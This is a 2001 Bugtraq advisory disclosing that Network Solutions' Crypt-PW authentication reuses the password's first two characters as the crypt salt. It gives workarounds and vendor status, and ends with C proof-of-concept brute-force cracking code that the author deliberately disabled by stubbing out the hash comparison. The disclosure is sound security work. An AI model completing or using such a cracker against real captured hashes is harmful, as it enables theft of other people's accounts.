Bugtraq mailing list archives

Network Solutions Crypt-PW Authentication-Scheme vulnerability


From: Peter Ajamian <peter () pajamian dhs org>
Date: Fri, 08 Jun 2001 00:37:34 -0700

Problem:

While crypt password authentication is not in and of itself very secure,
Network Sulotions have made it even less so by including the first two
characters of the password as the salt of the encrypted form.  While the
password is transmitted via a secure session, the encrypted form is
returned almost immediately in a non-encrypted www session.  Also, this
password is typically emailed back and forth to the user no less than two
times (and often times more).  This allows several opportunities for
someone to observe the encrypted password, this in and of itself is not
good.

Discovering the original password from the encrypted form is made
magnitudes easier by the inclusion of the first two characters of the
password in the salt (proof of concept code follows at the end of this
message).  Using the proof of concept code I was able to derive my own
six character password in less than one minute on an old Pentium 200 MMX
computer.  A new 1ghz computer could easily crank out 6 char passwords in
mere seconds, 8 char passwords in a few hours, and a 10 char password
probably in a week to a month or better.

So far we have established the relative ease of obtaining the encrypted
form of the password and ease of converting that encryption back to the
original password.  The rest should be horrifyingly clear.


Possible Workarounds:

Do not use the Crypt-PW authentication-scheme.  Instead use the MAIL_FROM
or PGP scheme instead.

If you must use CRYPT-PW then the following suggestions are recommended:
 - Password should be at least 10 characters in length.
 - The password should contain a combination of upper and lower case as
well as numbers and preferably some other symbols.
 - Do not use any dictionary words, proper names, or other easily
recognizable character sequences or forms of them in your password.
 - The first two characters of your password should be _completely_
unrelated to the rest of the password and should not provide any hints as
to what the balance of the password may be.
 - If you have access to and know how to use your own crypt generating
program you should be able to substitute your own encryption for that
provided by Network Solutions on the form.  If you can do this it is
recommended that you use a random salt to generate your password or at
least one that is unrelated to the password itself (note I did not test
this to see if Network Solutions would accept such a substitution of
passwords on thier form but the method by which the scheme is implemented
suggests that it should work) (note if you try this you may have to
convince Network Solutions phone reps to try the password even though the
first two characters don't match when you give the password over the
phone).


Vendor Status:

Network Solutions was notified of the problem on May 17, 2001 and I have
recieved responses indicating they are looking into the severity of the
problem as well as possible solutions.


Proof of concept code (purposefully broken):

/*
 * This is for cracking Network Solutions passwords.  This assumes the
 * following...
 * 1.  The salt is the first two chars of the password (this is the
 *      standard gotcha for Network Solutions usage of crypt()).
 * 2.  If the first character of the salt is lowercase than the password
 *      is all lowercase
 * 3.  If the first character of the salt is uppercase ... well you get
 *      the idea.
 * 4.  If the first character of the salt a digit ...
 * 5.  There are no symbols in the password.
 * 6.  The password is between three and ten characters in length.
 *
 * These are a lot of assumptions to make, but this is just proof of
 * concept code.  It is assumed that if the password uses a dictionary
 * word then knowledge of the first two letters (which Network Solutions
 * places right in the salt) will greatly speed up the process of
 * cracking.  This code does not use a dictionary, but code is widely
 * available which does and could easily be modified to take advantage
 * of the two character "head start" that Network Solutions gives you.
 *
 * This program and all code contained herein is copyright 2001 by Peter
 * Ajamian.
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

/* Crypt function needs to be prototyped, a wierd behavior of the library
*/
char *crypt(const char *key, const char *salt);

/*
 * PWDCHECK() compares a plain-text password to its encrypted form.
 * it returns 0 if the passwords match and non-zero if the passwords
 * do not match.
 *
 * plain        = The plain-text password.
 * encr         = The encrypted password.
 */
/* !FIXME! */
#define PWDCHECK(plain,encr) (1)

/*
 * These are globals for greater efficiency.  Because chkpass is called
 * recursively it is not very worthwhile to be making multiple copies of
 * these and passing them millions of times all over the place.  This
 * should save a large amount of CPU time.
 */
char *c_pass, pass[11], lbound, rbound;
int len;

void chkpass(int current)
{
  /*
   * Yes, this generates an extra copy of c, but considering how much
it's
   * referenced it should probably be kept in a CPU register and should
save
   * CPU cycles this way (here's hoping that the register keyword works).
   */
  register char c;

  if (current >= len)
    for (c = lbound; c <= rbound; c++) {
      pass[current] = c;
      if (!PWDCHECK(pass, c_pass)) {
        printf("Found password: %s\n", pass);
        exit(EXIT_SUCCESS);
      }
    }

  else
    for (c = lbound; c <= rbound; c++){
      pass[current] = c;
      chkpass(current + 1);
    }
}

int main(int argc, char **argv)
{
  if (argc != 2) {
    puts("Usage: pwdtest crypt-pass\n");
    return EXIT_FAILURE;
  }

  argv++;

  strncpy(pass, *argv, 2);

  if (isdigit(*pass)) {
    lbound = '0';
    rbound = '9';

  } else if (islower(*pass)) {
    lbound = 'a';
    rbound = 'z';

  } else if (isupper(*pass)) {
    lbound = 'A';
    rbound = 'Z';

  } else {
    puts("First char of passwd must be alphnumeric.\n");
    return EXIT_FAILURE;
  }

  c_pass = *argv;

  for (len = 2; len < 10; len++) {
    pass[len + 1] = 0;
    chkpass(2);
  }

  puts("Unable to find a password match.\n");
  return EXIT_FAILURE;
}


Current thread: